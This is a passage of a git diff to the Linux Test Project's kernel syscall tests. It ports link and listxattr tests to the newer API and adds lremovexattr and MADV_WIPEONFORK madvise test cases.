 static char test_file4[PATH_MAX] = ".";
 static void setup(void);
-static void cleanup(void);
 
-static const char *device;
-static int mount_flag;
-
-static struct test_case_t {
+static struct tcase {
 	char *oldpath;
 	char *newpath;
 	int exp_errno;
-} test_cases[] = {
+} tcases[] = {
 	{TEST_FILE1, TEST_FILE, EPERM},
 	{TEST_FILE2, TEST_FILE, EXDEV},
 	{TEST_FILE2, TEST_FILE3, EROFS},
 	{test_file4, TEST_FILE, ELOOP},
 };
 
-static void link_verify(const struct test_case_t *);
-
-char *TCID = "link08";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
+static void link_verify(unsigned int i)
 {
-	int i, lc;
+	struct tcase *tc = &tcases[i];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			link_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-static void link_verify(const struct test_case_t *tc)
-{
 	TEST(link(tc->oldpath, tc->newpath));
 
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "link succeeded unexpectedly");
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "link() succeeded unexpectedly (%li)",
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "link failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "link failed unexpectedly; expected: %d - %s",
-			 tc->exp_errno, strerror(tc->exp_errno));
+	if (TST_ERR == tc->exp_errno) {
+		tst_res(TPASS | TTERRNO, "link() failed as expected");
+		return;
 	}
-}
 
+	tst_res(TFAIL | TTERRNO,
+		"link() failed unexpectedly; expected: %d - %s",
+		tc->exp_errno, tst_strerrno(tc->exp_errno));
+}
 
 static void setup(void)
 {
 	int i;
-	const char *fs_type;
 
-	tst_require_root();
+	SAFE_MKDIR(TEST_FILE1, DIR_MODE);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to acquire device");
-
-	SAFE_MKDIR(cleanup, TEST_FILE1, DIR_MODE);
-
-	SAFE_MKDIR(cleanup, "test_eloop", DIR_MODE);
-	SAFE_SYMLINK(cleanup, "../test_eloop", "test_eloop/test_eloop");
+	SAFE_MKDIR("test_eloop", DIR_MODE);
+	SAFE_SYMLINK("../test_eloop", "test_eloop/test_eloop");
 	for (i = 0; i < 43; i++)
 		strcat(test_file4, "/test_eloop");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, 0, NULL);
-	mount_flag = 1;
-
-	SAFE_TOUCH(cleanup, TEST_FILE2, 0644, NULL);
-	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type,
-		   MS_REMOUNT | MS_RDONLY, NULL);
 }
 
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount(MNT_POINT) < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", device);
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = link_verify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/linkat/.gitignore b/testcases/kernel/syscalls/linkat/.gitignore
new file mode 100644
index 0000000..1b307c9
--- /dev/null
+++ b/testcases/kernel/syscalls/linkat/.gitignore
@@ -0,0 +1,2 @@
+/linkat01
+/linkat02
diff --git a/testcases/kernel/syscalls/listen/.gitignore b/testcases/kernel/syscalls/listen/.gitignore
new file mode 100644
index 0000000..03fee69
--- /dev/null
+++ b/testcases/kernel/syscalls/listen/.gitignore
@@ -0,0 +1 @@
+/listen01
diff --git a/testcases/kernel/syscalls/listxattr/.gitignore b/testcases/kernel/syscalls/listxattr/.gitignore
new file mode 100644
index 0000000..be0675a
--- /dev/null
+++ b/testcases/kernel/syscalls/listxattr/.gitignore
@@ -0,0 +1,3 @@
+/listxattr01
+/listxattr02
+/listxattr03
diff --git a/testcases/kernel/syscalls/listxattr/listxattr01.c b/testcases/kernel/syscalls/listxattr/listxattr01.c
index e2820ca..a59547b 100644
--- a/testcases/kernel/syscalls/listxattr/listxattr01.c
+++ b/testcases/kernel/syscalls/listxattr/listxattr01.c
@@ -61,7 +61,7 @@
 	char buf[64];
 
 	TEST(listxattr(TESTFILE, buf, sizeof(buf)));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "listxattr() failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/listxattr/listxattr02.c b/testcases/kernel/syscalls/listxattr/listxattr02.c
index 998689a..33f57d5 100644
--- a/testcases/kernel/syscalls/listxattr/listxattr02.c
+++ b/testcases/kernel/syscalls/listxattr/listxattr02.c
@@ -69,14 +69,14 @@
 	char buf[t->size];
 
 	TEST(listxattr(t->path, buf, sizeof(buf)));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL,
 			"listxattr() succeeded unexpectedly (returned %ld)",
-			TEST_RETURN);
+			TST_RET);
 		return;
 	}
 
-	if (t->exp_err != TEST_ERRNO) {
+	if (t->exp_err != TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "listxattr() failed "
 			 "unexpectedlly, expected %s",
 			 tst_strerrno(t->exp_err));
diff --git a/testcases/kernel/syscalls/listxattr/listxattr03.c b/testcases/kernel/syscalls/listxattr/listxattr03.c
index 9dc7ad7..dcfb6b1 100644
--- a/testcases/kernel/syscalls/listxattr/listxattr03.c
+++ b/testcases/kernel/syscalls/listxattr/listxattr03.c
@@ -57,12 +57,12 @@
 	const char *name = filename[n];
 
 	TEST(listxattr(name, NULL, 0));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "listxattr() failed");
 		return;
 	}
 
-	if (check_suitable_buf(name, TEST_RETURN))
+	if (check_suitable_buf(name, TST_RET))
 		tst_res(TPASS, "listxattr() succeed with suitable buffer");
 	else
 		tst_res(TFAIL, "listxattr() failed with small buffer");
diff --git a/testcases/kernel/syscalls/llistxattr/.gitignore b/testcases/kernel/syscalls/llistxattr/.gitignore
new file mode 100644
index 0000000..8a49f19
--- /dev/null
+++ b/testcases/kernel/syscalls/llistxattr/.gitignore
@@ -0,0 +1,3 @@
+/llistxattr01
+/llistxattr02
+/llistxattr03
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr01.c b/testcases/kernel/syscalls/llistxattr/llistxattr01.c
index f997e0c..98c1bdf 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr01.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr01.c
@@ -62,7 +62,7 @@
 	char buf[64];
 
 	TEST(llistxattr(SYMLINK, buf, sizeof(buf)));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "llistxattr() failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr02.c b/testcases/kernel/syscalls/llistxattr/llistxattr02.c
index 468ff98..d239e97 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr02.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr02.c
@@ -68,14 +68,14 @@
 	char buf[t->size];
 
 	TEST(llistxattr(t->path, buf, sizeof(buf)));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL,
 			"llistxattr() succeeded unexpectedly (returned %ld)",
-			TEST_RETURN);
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO != t->exp_err) {
+	if (TST_ERR != t->exp_err) {
 		tst_res(TFAIL | TTERRNO, "llistxattr() failed "
 			 "unexpectedlly, expected %s",
 			 tst_strerrno(t->exp_err));
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr03.c b/testcases/kernel/syscalls/llistxattr/llistxattr03.c
index 91bb3f4..a62bc21 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr03.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr03.c
@@ -56,12 +56,12 @@
 	const char *name = filename[n];
 
 	TEST(llistxattr(name, NULL, 0));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "llistxattr() failed");
 		return;
 	}
 
-	if (check_suitable_buf(name, TEST_RETURN))
+	if (check_suitable_buf(name, TST_RET))
 		tst_res(TPASS, "llistxattr() succeed with suitable buffer");
 	else
 		tst_res(TFAIL, "llistxattr() failed with small buffer");
diff --git a/testcases/kernel/syscalls/llseek/.gitignore b/testcases/kernel/syscalls/llseek/.gitignore
new file mode 100644
index 0000000..9053209
--- /dev/null
+++ b/testcases/kernel/syscalls/llseek/.gitignore
@@ -0,0 +1,3 @@
+/llseek01
+/llseek02
+/llseek03
diff --git a/testcases/kernel/syscalls/lremovexattr/.gitignore b/testcases/kernel/syscalls/lremovexattr/.gitignore
new file mode 100644
index 0000000..810f862
--- /dev/null
+++ b/testcases/kernel/syscalls/lremovexattr/.gitignore
@@ -0,0 +1 @@
+lremovexattr01
diff --git a/testcases/kernel/syscalls/lremovexattr/Makefile b/testcases/kernel/syscalls/lremovexattr/Makefile
new file mode 100644
index 0000000..e6674a6
--- /dev/null
+++ b/testcases/kernel/syscalls/lremovexattr/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2018 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/lremovexattr/lremovexattr01.c b/testcases/kernel/syscalls/lremovexattr/lremovexattr01.c
new file mode 100644
index 0000000..26194f1
--- /dev/null
+++ b/testcases/kernel/syscalls/lremovexattr/lremovexattr01.c
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * Test Name: lremovexattr01
+ *
+ * Description:
+ * lremovexattr(2) removes the extended attribute identified by a name and
+ * associated with a given path in the filesystem. Unlike removexattr(2),
+ * lremovexattr(2) removes the attribute from the symbolic link only, and not
+ * the file. This test verifies that a simple call to lremovexattr(2) removes,
+ * indeed, a previously set attribute key/value from a symbolic link, and the
+ * symbolic link _only_.
+ *
+ * Note:
+ * According to attr(5), extended attributes are interpreted differently from
+ * regular files, directories and symbolic links. User attributes are only
+ * allowed for regular files and directories, thus the need of using trusted.*
+ * attributes for this test.
+ */
+
+#include "config.h"
+#include <errno.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define ENOATTR ENODATA
+
+#define XATTR_KEY		"trusted.key1"
+#define XATTR_VALUE		"file and link"
+#define XATTR_VALUE_SIZE	13
+
+#define MNTPOINT "mntpoint"
+#define FILENAME MNTPOINT"/lremovexattr01testfile"
+#define SYMLINK  MNTPOINT"/lremovexattr01symlink"
+
+static char got_value[XATTR_VALUE_SIZE];
+
+static void verify_lremovexattr(void)
+{
+	/* set attribute on both: file and symlink */
+
+	SAFE_SETXATTR(FILENAME, XATTR_KEY, XATTR_VALUE, XATTR_VALUE_SIZE,
+			XATTR_CREATE);
+
+	SAFE_LSETXATTR(SYMLINK, XATTR_KEY, XATTR_VALUE, XATTR_VALUE_SIZE,
+			XATTR_CREATE);
+
+	/* remove attribute from symlink only */
+
+	TEST(lremovexattr(SYMLINK, XATTR_KEY));
+
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "lremovexattr(2) failed");
+		return;
+	}
+
+	/* make sure attribute is gone from symlink */
+
+	memset(&got_value, 0, XATTR_VALUE_SIZE);
+
+	TEST(lgetxattr(SYMLINK, XATTR_KEY, &got_value, XATTR_VALUE_SIZE));
+
+	if (TST_RET >= 0) {
+		tst_res(TFAIL, "lremovexattr(2) did not work");
+		return;
+	}
+
+	if (TST_ERR != ENOATTR) {
+		tst_brk(TBROK | TTERRNO, "lgetxattr(2) failed unexpectedly");
+		return;
+	}
+
+	/* check if file is unchanged, like it should be */
+
+	memset(&got_value, 0, XATTR_VALUE_SIZE);
+
+	TEST(getxattr(FILENAME, XATTR_KEY, &got_value, XATTR_VALUE_SIZE));
+
+	if (TST_RET <= 0) {
+		tst_res(TFAIL, "lremovexattr(2) deleted file attribute");
+		return;
+	}
+
+	if (strcmp(got_value, XATTR_VALUE)) {
+		tst_res(TFAIL, "lremovexattr(2) changed file attribute");
+		return;
+	}
+
+	/* cleanup file attribute for iteration */
+
+	SAFE_REMOVEXATTR(FILENAME, XATTR_KEY);
+
+	tst_res(TPASS, "lremovexattr(2) removed attribute as expected");
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(FILENAME, 0644, NULL);
+
+	if (symlink(FILENAME, SYMLINK) < 0)
+		tst_brk(TCONF, "symlink() not supported");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_lremovexattr,
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/lseek/.gitignore b/testcases/kernel/syscalls/lseek/.gitignore
new file mode 100644
index 0000000..1dc1465
--- /dev/null
+++ b/testcases/kernel/syscalls/lseek/.gitignore
@@ -0,0 +1,4 @@
+/lseek01
+/lseek02
+/lseek07
+/lseek11
diff --git a/testcases/kernel/syscalls/lseek/lseek01.c b/testcases/kernel/syscalls/lseek/lseek01.c
index 2e1c36e..e7753fd 100644
--- a/testcases/kernel/syscalls/lseek/lseek01.c
+++ b/testcases/kernel/syscalls/lseek/lseek01.c
@@ -57,15 +57,15 @@
 	memset(read_buf, 0, sizeof(read_buf));
 
 	TEST(lseek(fd, tc->off, tc->whence));
-	if (TEST_RETURN == (off_t) -1) {
+	if (TST_RET == (off_t) -1) {
 		tst_res(TFAIL | TTERRNO, "lseek(%s, %ld, %s) failed", TFILE,
 			tc->off, tc->wname);
 		return;
 	}
 
-	if (TEST_RETURN != tc->exp_off) {
+	if (TST_RET != tc->exp_off) {
 		tst_res(TFAIL, "lseek(%s, %ld, %s) returned %ld, expected %ld",
-			TFILE, tc->off, tc->wname, TEST_RETURN, tc->exp_off);
+			TFILE, tc->off, tc->wname, TST_RET, tc->exp_off);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/lseek/lseek02.c b/testcases/kernel/syscalls/lseek/lseek02.c
index 66c7bee..0387d63 100644
--- a/testcases/kernel/syscalls/lseek/lseek02.c
+++ b/testcases/kernel/syscalls/lseek/lseek02.c
@@ -71,13 +71,13 @@
 	struct tcase *tc = &tcases[n];
 
 	TEST(lseek(*tc->fd, (off_t) 1, tc->whence));
-	if (TEST_RETURN != (off_t) -1) {
+	if (TST_RET != (off_t) -1) {
 		tst_res(TFAIL, "lseek(%d, 1, %d) succeeded unexpectedly",
 			*tc->fd, tc->whence);
 			return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "lseek(%d, 1, %d) failed as expected",
 			*tc->fd, tc->whence);
 	} else {
diff --git a/testcases/kernel/syscalls/lseek/lseek07.c b/testcases/kernel/syscalls/lseek/lseek07.c
index b46856b..5073285 100644
--- a/testcases/kernel/syscalls/lseek/lseek07.c
+++ b/testcases/kernel/syscalls/lseek/lseek07.c
@@ -54,15 +54,15 @@
 	memset(read_buf, 0, sizeof(read_buf));
 
 	TEST(lseek(*tc->fd, tc->off, SEEK_SET));
-	if (TEST_RETURN == (off_t) -1) {
+	if (TST_RET == (off_t) -1) {
 		tst_res(TFAIL | TTERRNO, "lseek(%s, %ld, SEEK_SET) failed",
 			tc->fname, tc->off);
 		return;
 	}
 
-	if (TEST_RETURN != tc->exp_off) {
+	if (TST_RET != tc->exp_off) {
 		tst_res(TFAIL, "lseek(%s, %ld, SEEK_SET) returned %ld, expected %ld",
-			tc->fname, tc->off, TEST_RETURN, tc->exp_off);
+			tc->fname, tc->off, TST_RET, tc->exp_off);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/lstat/.gitignore b/testcases/kernel/syscalls/lstat/.gitignore
new file mode 100644
index 0000000..72cba87
--- /dev/null
+++ b/testcases/kernel/syscalls/lstat/.gitignore
@@ -0,0 +1,6 @@
+/lstat01
+/lstat01_64
+/lstat02
+/lstat02_64
+/lstat03
+/lstat03_64
diff --git a/testcases/kernel/syscalls/lstat/lstat02.c b/testcases/kernel/syscalls/lstat/lstat02.c
index ab46787..7748670 100644
--- a/testcases/kernel/syscalls/lstat/lstat02.c
+++ b/testcases/kernel/syscalls/lstat/lstat02.c
@@ -59,10 +59,10 @@
 static char longpathname[PATH_MAX + 2];
 static char elooppathname[sizeof(TEST_ELOOP) * 43] = ".";
 
-#if !defined(UCLINUX)
+static void setup(void);
+static void lstat_verify(int);
+static void cleanup(void);
 static void bad_addr_setup(int);
-static void high_address_setup(int);
-#endif
 
 static struct test_case_t {
 	char *pathname;
@@ -71,10 +71,7 @@
 } test_cases[] = {
 	{TEST_EACCES, EACCES, NULL},
 	{TEST_ENOENT, ENOENT, NULL},
-#if !defined(UCLINUX)
 	{NULL, EFAULT, bad_addr_setup},
-	{NULL, EFAULT, high_address_setup},
-#endif
 	{longpathname, ENAMETOOLONG, NULL},
 	{TEST_ENOTDIR, ENOTDIR, NULL},
 	{elooppathname, ELOOP, NULL},
@@ -83,10 +80,6 @@
 char *TCID = "lstat02";
 int TST_TOTAL = ARRAY_SIZE(test_cases);
 
-static void setup(void);
-static void lstat_verify(int);
-static void cleanup(void);
-
 int main(int ac, char **av)
 {
 	int lc;
@@ -138,28 +131,22 @@
 	 */
 	for (i = 0; i < 43; i++)
 		strcat(elooppathname, TEST_ELOOP);
+
+	for (i = 0; i < TST_TOTAL; i++) {
+		if (test_cases[i].setup)
+			test_cases[i].setup(i);
+	}
 }
 
-#if !defined(UCLINUX)
 static void bad_addr_setup(int i)
 {
-	test_cases[i].pathname = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-					   MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+	test_cases[i].pathname = tst_get_bad_addr(cleanup);
 }
 
-static void high_address_setup(int i)
-{
-	test_cases[i].pathname = (char *)get_high_address();
-}
-#endif
-
 static void lstat_verify(int i)
 {
 	struct stat stat_buf;
 
-	if (test_cases[i].setup != NULL)
-		test_cases[i].setup(i);
-
 	TEST(lstat(test_cases[i].pathname, &stat_buf));
 
 	if (TEST_RETURN != -1) {
diff --git a/testcases/kernel/syscalls/madvise/.gitignore b/testcases/kernel/syscalls/madvise/.gitignore
new file mode 100644
index 0000000..002d8e5
--- /dev/null
+++ b/testcases/kernel/syscalls/madvise/.gitignore
@@ -0,0 +1,8 @@
+/madvise01
+/madvise02
+/madvise05
+/madvise06
+/madvise07
+/madvise08
+/madvise09
+/madvise10
diff --git a/testcases/kernel/syscalls/madvise/madvise01.c b/testcases/kernel/syscalls/madvise/madvise01.c
index 4b18a21..ae08db6 100644
--- a/testcases/kernel/syscalls/madvise/madvise01.c
+++ b/testcases/kernel/syscalls/madvise/madvise01.c
@@ -62,6 +62,9 @@
 	{MADV_DONTDUMP,    "MADV_DONTDUMP",    &sfile}, /* since Linux 3.4 */
 	{MADV_DODUMP,      "MADV_DODUMP",      &sfile}, /* since Linux 3.4 */
 	{MADV_FREE,        "MADV_FREE",        &amem},  /* since Linux 4.5 */
+	{MADV_WIPEONFORK,  "MADV_WIPEONFORK",  &amem},  /* since Linux 4.14 */
+	{MADV_KEEPONFORK,  "MADV_KEEPONFORK",  &amem},  /* since Linux 4.14 */
+
 };
 
 static void setup(void)
@@ -105,13 +108,13 @@
 
 	TEST(madvise(*(tc->addr), st.st_size, tc->advice));
 
-	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == EINVAL) {
+	if (TST_RET == -1) {
+		if (TST_ERR == EINVAL) {
 			tst_res(TCONF, "%s is not supported", tc->name);
 		} else {
 			tst_res(TFAIL, "madvise test for %s failed with "
 					"return = %ld, errno = %d : %s",
-					tc->name, TEST_RETURN, TEST_ERRNO,
+					tc->name, TST_RET, TST_ERR,
 					tst_strerrno(TFAIL | TTERRNO));
 		}
 	} else {
diff --git a/testcases/kernel/syscalls/madvise/madvise02.c b/testcases/kernel/syscalls/madvise/madvise02.c
index b773efd..f0c1af9 100644
--- a/testcases/kernel/syscalls/madvise/madvise02.c
+++ b/testcases/kernel/syscalls/madvise/madvise02.c
@@ -25,6 +25,8 @@
  *     locked or shared pages (with MADV_DONTNEED)
  *  4. MADV_MERGEABLE or MADV_UNMERGEABLE was specified in advice,
  *     but the kernel was not configured with CONFIG_KSM.
+ *  8|9. The MADV_FREE & MADV_WIPEONFORK operation can be applied
+ *  	only to private anonymous pages.
  *
  * (B) Test Case for ENOMEM
  *  5|6. addresses in the specified range are not currently mapped
@@ -51,6 +53,7 @@
 #include "tst_test.h"
 #include "lapi/mmap.h"
 
+#define MAP_SIZE (4 * 1024)
 #define TEST_FILE "testfile"
 #define STR "abcdefghijklmnopqrstuvwxyz12345\n"
 #define KSM_SYS_DIR	"/sys/kernel/mm/ksm"
@@ -59,6 +62,8 @@
 static long pagesize;
 static char *file1;
 static char *file2;
+static char *file3;
+static char *shared_anon;
 static char *ptr_addr;
 static char *tmp_addr;
 static char *nonalign;
@@ -72,12 +77,17 @@
 } tcases[] = {
 	{MADV_NORMAL,      "MADV_NORMAL",      &nonalign, EINVAL, 0},
 	{1212,             "MADV_NORMAL",      &file1,    EINVAL, 0},
+	{MADV_REMOVE,      "MADV_REMOVE",      &file1,    EINVAL, 0},
 	{MADV_DONTNEED,    "MADV_DONTNEED",    &file1,    EINVAL, 1},
 	{MADV_MERGEABLE,   "MADV_MERGEABLE",   &file1,    EINVAL, 0},
 	{MADV_UNMERGEABLE, "MADV_UNMERGEABLE", &file1,    EINVAL, 0},
 	{MADV_NORMAL,      "MADV_NORMAL",      &file2,    ENOMEM, 0},
 	{MADV_WILLNEED,    "MADV_WILLNEED",    &file2,    ENOMEM, 0},
 	{MADV_WILLNEED,    "MADV_WILLNEED",    &tmp_addr,  EBADF, 0},
+	{MADV_FREE,        "MADV_FREE",        &file1,    EINVAL, 0},
+	{MADV_WIPEONFORK,  "MADV_WIPEONFORK",  &file1,    EINVAL, 0},
+	{MADV_WIPEONFORK,  "MADV_WIPEONFORK shared_anon", &shared_anon, EINVAL, 0},
+	{MADV_WIPEONFORK,  "MADV_WIPEONFORK private file backed", &file3, EINVAL, 0},
 };
 
 static void tcases_filter(void)
@@ -95,7 +105,10 @@
 			tc->skip = 0;
 #endif /* if !defined(UCLINUX) */
 		break;
-
+		case MADV_REMOVE:
+			if ((tst_kvercmp(2, 6, 16)) < 0)
+				tc->skip = 1;
+		break;
 		case MADV_MERGEABLE:
 		case MADV_UNMERGEABLE:
 			if ((tst_kvercmp(2, 6, 32)) < 0)
@@ -114,6 +127,14 @@
 					tc->exp_errno == EBADF)
 				tc->skip = 1;
 		break;
+		case MADV_FREE:
+			if ((tst_kvercmp(4, 5, 0)) < 0)
+				tc->skip = 1;
+		break;
+		case MADV_WIPEONFORK:
+			if ((tst_kvercmp(4, 14, 0)) < 0)
+				tc->skip = 1;
+		break;
 		default:
 		break;
 		}
@@ -136,13 +157,17 @@
 
 	file1 = SAFE_MMAP(0, st.st_size, PROT_READ, MAP_SHARED, fd, 0);
 	file2 = SAFE_MMAP(0, st.st_size, PROT_READ, MAP_SHARED, fd, 0);
-	SAFE_MUNMAP(file2 + st.st_size - pagesize, pagesize);
+	file3 = SAFE_MMAP(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+	shared_anon = SAFE_MMAP(0, MAP_SIZE, PROT_READ, MAP_SHARED |
+			MAP_ANONYMOUS, -1, 0);
 
 	nonalign = file1 + 100;
 
 	ptr_addr = SAFE_MALLOC(st.st_size);
 	tmp_addr = (void*)LTP_ALIGN((long)ptr_addr, pagesize);
 
+	/* unmap as last step to avoid subsequent mmap(s) pick same address */
+	SAFE_MUNMAP(file2 + st.st_size - pagesize, pagesize);
 	SAFE_CLOSE(fd);
 
 	tcases_filter();
@@ -159,13 +184,14 @@
 	}
 
 	TEST(madvise(*(tc->addr), st.st_size, tc->advice));
-	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == tc->exp_errno) {
-			tst_res(TPASS | TTERRNO, "failed as expected");
+	if (TST_RET == -1) {
+		if (TST_ERR == tc->exp_errno) {
+			tst_res(TPASS | TTERRNO, "%s failed as expected", tc->name);
 		} else {
 			tst_res(TFAIL | TTERRNO,
-					"failed unexpectedly; expected - %d : %s",
-					tc->exp_errno, tst_strerrno(TFAIL | TTERRNO));
+					"%s failed unexpectedly; expected - %d : %s",
+					tc->name, tc->exp_errno,
+					tst_strerrno(TFAIL | TTERRNO));
 		}
 	} else {
 		tst_res(TFAIL, "madvise succeeded unexpectedly");
@@ -177,6 +203,8 @@
 	free(ptr_addr);
 	SAFE_MUNMAP(file1, st.st_size);
 	SAFE_MUNMAP(file2, st.st_size - pagesize);
+	SAFE_MUNMAP(file3, st.st_size);
+	SAFE_MUNMAP(shared_anon, MAP_SIZE);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/madvise/madvise05.c b/testcases/kernel/syscalls/madvise/madvise05.c
index 23dacbd..b38a12f 100644
--- a/testcases/kernel/syscalls/madvise/madvise05.c
+++ b/testcases/kernel/syscalls/madvise/madvise05.c
@@ -38,17 +38,17 @@
 			MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
 
 	TEST(mprotect(p, ALLOC_SIZE, PROT_NONE));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TTERRNO, "mprotect failed");
 	TEST(madvise(p, ALLOC_SIZE, MADV_WILLNEED));
 	SAFE_MUNMAP(p, ALLOC_SIZE);
 
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TPASS, "issue has not been reproduced");
 		return;
 	}
 
-	if (TEST_ERRNO == EBADF)
+	if (TST_ERR == EBADF)
 		tst_brk(TCONF, "CONFIG_SWAP=n");
 	else
 		tst_brk(TBROK | TTERRNO, "madvise failed");
diff --git a/testcases/kernel/syscalls/madvise/madvise06.c b/testcases/kernel/syscalls/madvise/madvise06.c
index 7b178a2..c40aef8 100644
--- a/testcases/kernel/syscalls/madvise/madvise06.c
+++ b/testcases/kernel/syscalls/madvise/madvise06.c
@@ -140,7 +140,7 @@
 	tst_res(TINFO, "SwapCached (before madvise): %ld", swapcached_start);
 
 	TEST(madvise(target, CHUNK_SZ, MADV_WILLNEED));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TBROK | TERRNO, "madvise failed");
 
 	do {
diff --git a/testcases/kernel/syscalls/madvise/madvise10.c b/testcases/kernel/syscalls/madvise/madvise10.c
new file mode 100644
index 0000000..ca0b9f3
--- /dev/null
+++ b/testcases/kernel/syscalls/madvise/madvise10.c
@@ -0,0 +1,183 @@
+// SPDX-License-Identifier: GPL-2.0 or later
+/*
+ *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ *  Email : code@zilogic.com
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+/*
+ * test cases for madvise(2) system call, advise value as "MADV_WIPEONFORK".
+ *
+ * DESCRIPTION
+ * Present the child process with zero-filled memory in this
+ * range after a fork(2).
+ * The MADV_WIPEONFORK operation can be applied only to
+ * private anonymous pages.
+ * Within the child created by fork(2), the MADV_WIPEONFORK
+ * setting remains in place on the specified map_address range.
+ * The MADV_KEEPONFORK operation undo the effect of MADV_WIPEONFORK.
+ *
+ * Test-Case 1 : madvise with "MADV_WIPEONFORK"
+ * flow :	Map memory area as private anonymous page.
+ *		Mark memory area as wipe-on-fork.
+ *		On fork, child process memory should be zeroed.
+ *
+ * Test-Case 2 : madvise with "MADV_WIPEONFORK" and "ZERO" length
+ * flow :	Map memory area as private anonymous page.
+ *		Mark memory area as wipe-on-fork, with length zero.
+ *		On fork, child process memory should be accessible.
+ *
+ * Test-Case 3 : "MADV_WIPEONFORK" on Grand child
+ * flow :	Map memory area as private anonymous.
+ *		Mark memory areas as wipe-on-fork.
+ *		On fork, child process memory should be zeroed.
+ *		In child, fork to create grand-child,
+ *		memory should be zeroed.
+ *
+ * Test-Case 4 : Undo "MADV_WIPEONFORK" by "MADV_KEEPONFORK"
+ * flow :	Map memory area as private anonymous page.
